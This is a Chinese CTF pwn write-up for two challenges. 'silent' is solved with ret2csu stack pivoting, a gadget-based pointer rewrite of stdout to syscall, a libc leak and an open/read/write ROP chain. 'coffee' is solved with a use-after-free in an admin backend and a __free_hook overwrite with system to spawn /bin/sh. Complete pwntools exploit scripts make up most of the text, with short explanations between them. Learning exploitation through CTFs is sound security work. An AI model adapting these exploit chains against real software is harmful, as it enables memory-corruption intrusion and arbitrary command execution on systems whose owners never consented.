silent
打开ida一看,没有输出函数,只有一个栈溢出。跟巅峰极客的linkmap有点像,都是没有输出函数而且full relro,没法打ret2dl_resolve
但是linkmap那道题中是有能函数能将地址放到bss上的,所以它可以把read的地址放到bss上,然后通过修改bss上的read地址,加上栈迁移来执行别的内容。
而这道题是真的只有一个栈溢出,比赛做了两三个小时没出。
听了unauth401师傅的讲解以及参考了他的博客才搞懂
所以跟linkmap一样,如果我们可以修改这几个指针的内容,那就可以达到同样的效果。(这里选stdout)
1 from pwn import *
2 from LibcSearcher import*
3 context(os='linux', arch='amd64', log_level='debug')
4 p = process('./pwn')
5 elf = ELF('./pwn')
6 libc = ELF('./libc.so.6')
7
8 read_addr=0x4008dc
9 call_read=0x4008f2
10 pop_rsi_r15_ret=0x400961
11 bss_addr=0x601040
12 pop_rdi_ret=0x400963
13 leave_ret=0x4008fc
14 stdout=0x601020
15 csu1=0x40095A
16 csu2=0x400940
17 read_got=0x600fe0
18 rsp_r13_r15=0x000000000040095d
19
20 payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400)
21 payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10)
22 #gdb.attach(p)
23 p.send(payload1)
这里的payload1是主要调用read来准备给bss上布置payload2,因为我们待会儿还是要栈迁移到bss上的。
1 # 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
2 magic2=0x4007e8
3 pause()
4
5
6 payload2=flat([
7 pop_rdi_ret+1,
8 csu1,0,1,bss_addr+0x800,0,0,0,
9 csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0,
10 magic2,
11 csu1,0,1,read_got,0,0x602000,8,
12 csu2,0,0,1,0x601020,1,read_got,8,
13 csu2,0,0,1,read_got,0,bss_addr+0x600,0x400,
14 csu2,0,0,0,0,0,0,0,
15 rsp_r13_r15,bss_addr+0x600-0x18,
16 ])+b"./flag"
17
18
19 p.send(payload2)
20 pause()
21 p.send('a')
22 libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
23 success('libc_base=',hex(libc_base))
24
25 rsi=libc_base+0x000000000002be51
26 rdx=libc_base+0x0000000000796a2
27 payload3=flat([
28 pop_rdi_ret,0x6019d0,
29 rsi,0,
30 rdx,0,
31 libc_base+libc.sym['open'],
32 pop_rdi_ret,3,
33 rsi,0x602000,
34 rdx,0x100,
35 libc_base+libc.sym['read'],
36 pop_rdi_ret,1,
37 libc_base+libc.sym['write']
38 ])
39 pause()
40 p.send(payload3)
41 p.interactive()
payload2是最重要的payload
因为我们并不知道任何libc地址,没法通过调用read来直接修改stdout内容,但是偏移我们是知道的,所以可以通过数值上的加减来实现。
数值上的加减最容易的就是通过寄存器来实现
通过ropgadgets,我们发现第一行写的那段gadget:# 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
可以将{rbp-0x3d]与ebx相加,所以我们在rbp-0x3d处写上stdout(0x601020),那就能修改stdout的内容为我们想要的。
这里我们选择改成syscall,下面是偏移
改完之后在第十一行通过read来修改rax为1,调用write来泄露libc。
剩下就是常规orw了。这道题对动调csu感觉要求好高,调半天才搞懂。
exp:
from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
read_addr=0x4008dc
call_read=0x4008f2
pop_rsi_r15_ret=0x400961
bss_addr=0x601040
pop_rdi_ret=0x400963
leave_ret=0x4008fc
stdout=0x601020
csu1=0x40095A
csu2=0x400940
read_got=0x600fe0
rsp_r13_r15=0x000000000040095d
payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400)
payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10)
gdb.attach(p)
p.send(payload1)
# 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
magic2=0x4007e8
pause()
payload2=flat([
pop_rdi_ret+1,
csu1,0,1,bss_addr+0x800,0,0,0,
csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0,
magic2,
csu1,0,1,read_got,0,0x602000,8,
csu2,0,0,1,0x601020,1,read_got,8,
csu2,0,0,1,read_got,0,bss_addr+0x600,0x400,
csu2,0,0,0,0,0,0,0,
rsp_r13_r15,bss_addr+0x600-0x18,
])+b"./flag"
p.send(payload2)
pause()
p.send('a')
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
success('libc_base=',hex(libc_base))
rsi=libc_base+0x000000000002be51
rdx=libc_base+0x0000000000796a2
payload3=flat([
pop_rdi_ret,0x6019d0,
rsi,0,
rdx,0,
libc_base+libc.sym['open'],
pop_rdi_ret,3,
rsi,0x602000,
rdx,0x100,
libc_base+libc.sym['read'],
pop_rdi_ret,1,
libc_base+libc.sym['write']
])
pause()
p.send(payload3)
p.interactive()
coffee
先理清大概逻辑:一个是left_coffee,一个是copy_left_coffee,相当于一个是能被买走的真实coffee,一个是后台记账用的。
注意到sell函数中,只将left_coffee置零和free,但是后台那边并没有变化,如果我们这时候用admin进入后台修改copy_left_coffee,就可以造成uaf。
并且sell中有有个功能是往ptr往里写入东西然后再free(ptr),所以可以打free_hook
在show函数中,会以coffee_list里的内容作为基址然后通过偏移输出内容,我们可以通过上面的uaf将修改coffee_list,从而泄露libc
exp:
from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
def dbg():
gdb.attach(p)
pause()
def admin():
p.sendafter('>>>','4421')
password='just pwn it'
p.sendafter('password\n',password)
def buy(index,content=b''):
p.sendafter('>>>','1')
p.sendafter('coffee you want to buy\n',str(index).encode())
if content ==b'':
p.sendlineafter('add something?Y/N\n','N')
else:
p.sendlineafter('add something?Y/N\n','Y')
p.sendafter('need in coffee\n',content)
def change(index,offset,content):
admin()
p.sendafter('>>>','2')#change_default
p.sendafter('>>>',str(index).encode())
p.sendafter('>>>',str(offset).encode())
p.sendafter('your content\n',content)
p.sendafter('>>>','3')
def repl(index):
admin()
p.sendafter('>>>','1')
p.sendafter('>>>',str(index).encode())
p.sendafter('>>>','3')
def show():
p.sendafter('>>>','2')
buy(1)
buy(1)
repl(2)
buy(1)
change(1,3,p64(0x4062f0))
repl(1)
repl(1)
change(1,2,p64(0x4062e0))
show()
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-(0x00007f61f5eda5c0-0x7f61f5ced000)
success('libc_base='+hex(libc_base))
system_addr=libc_base+libc.sym['system']
freehook_addr=libc_base+libc.sym['__free_hook']
buy(3)
buy(3)
repl(1)
buy(3)
change(3,3,p64(freehook_addr))
repl(3)
repl(3)
change(3,2,p64(system_addr))
buy(3,b'/bin/sh\x00')
dbg()
p.interactive()